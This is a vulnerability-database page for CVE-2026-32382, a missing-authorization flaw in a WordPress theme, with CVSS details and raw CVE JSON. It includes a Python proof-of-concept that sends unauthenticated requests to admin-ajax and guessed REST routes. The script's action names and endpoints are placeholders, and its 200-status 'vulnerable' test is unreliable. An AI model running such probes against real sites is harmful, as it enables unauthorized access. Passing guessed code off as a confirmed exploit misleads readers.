Security Vulnerability Report
中文
CVE-2026-32382 CVSS 5.3 MEDIUM

CVE-2026-32382

Published: 2026-03-13 19:54:53
Last Modified: 2026-04-22 21:30:26

Description

Missing Authorization vulnerability in raratheme Digital Download digital-download allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Digital Download: from n/a through <= 1.1.4.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

raratheme Digital Download WordPress主题 <= 1.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-32382 PoC - WordPress Digital Download Theme Broken Access Control # Target: WordPress site with Digital Download theme <= 1.1.4 import requests import sys TARGET_URL = "http://target-wordpress-site.com" def check_vulnerability(): """Check if target is vulnerable to CVE-2026-32382""" # Try to access potentially unprotected endpoints vulnerable_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php", f"{TARGET_URL}/wp-json/digital-download/v1/", ] # Example: Try to trigger theme's AJAX actions without authentication # Replace 'action_name' with actual vulnerable action identified in theme code payload = { 'action': 'digital_download_protected_action', 'nonce': '' # No nonce needed if missing authorization check } print(f"[*] Testing endpoint: {vulnerable_endpoints[0]}") try: # Send unauthenticated request response = requests.post(vulnerable_endpoints[0], data=payload, timeout=10) # Check for successful response indicating missing auth check if response.status_code == 200: # Verify response contains sensitive data if 'sensitive_data' in response.text or 'admin' in response.text.lower(): print("[!] VULNERABLE: Missing authorization check detected!") print(f"[!] Response preview: {response.text[:200]}") return True elif response.status_code == 200 and response.text: print("[?] Potential vulnerability - further investigation needed") print(f"[?] Response: {response.text[:200]}") return True else: print(f"[*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False def exploit_info_disclosure(): """Demonstrate information disclosure via missing auth""" # Try to enumerate theme's protected functionality endpoints = [ f"{TARGET_URL}/?rest_route=/digital-download/v1/downloads", f"{TARGET_URL}/?rest_route=/digital-download/v1/user-data", ] for endpoint in endpoints: print(f"\n[*] Testing: {endpoint}") try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: print(f"[!] Potential unauthorized access to: {endpoint}") print(f"[!] Response: {response.json()}") except: pass if __name__ == "__main__": print("=" * 60) print("CVE-2026-32382 - Digital Download Theme PoC") print("=" * 60) if check_vulnerability(): print("\n[!] Target is vulnerable - exploit available") exploit_info_disclosure() else: print("\n[*] Target may not be vulnerable or endpoint not found") print("[*] Manual verification recommended")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32382", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:53.307", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in raratheme Digital Download digital-download allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Digital Download: from n/a through <= 1.1.4."}, {"lang": "es", "value": "Vulnerabilidad por ausencia de autorización en raratheme Digital Download digital-download permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Digital Download: desde n/a hasta &lt;= 1.1.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/digital-download/vulnerability/wordpress-digital-download-theme-1-1-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}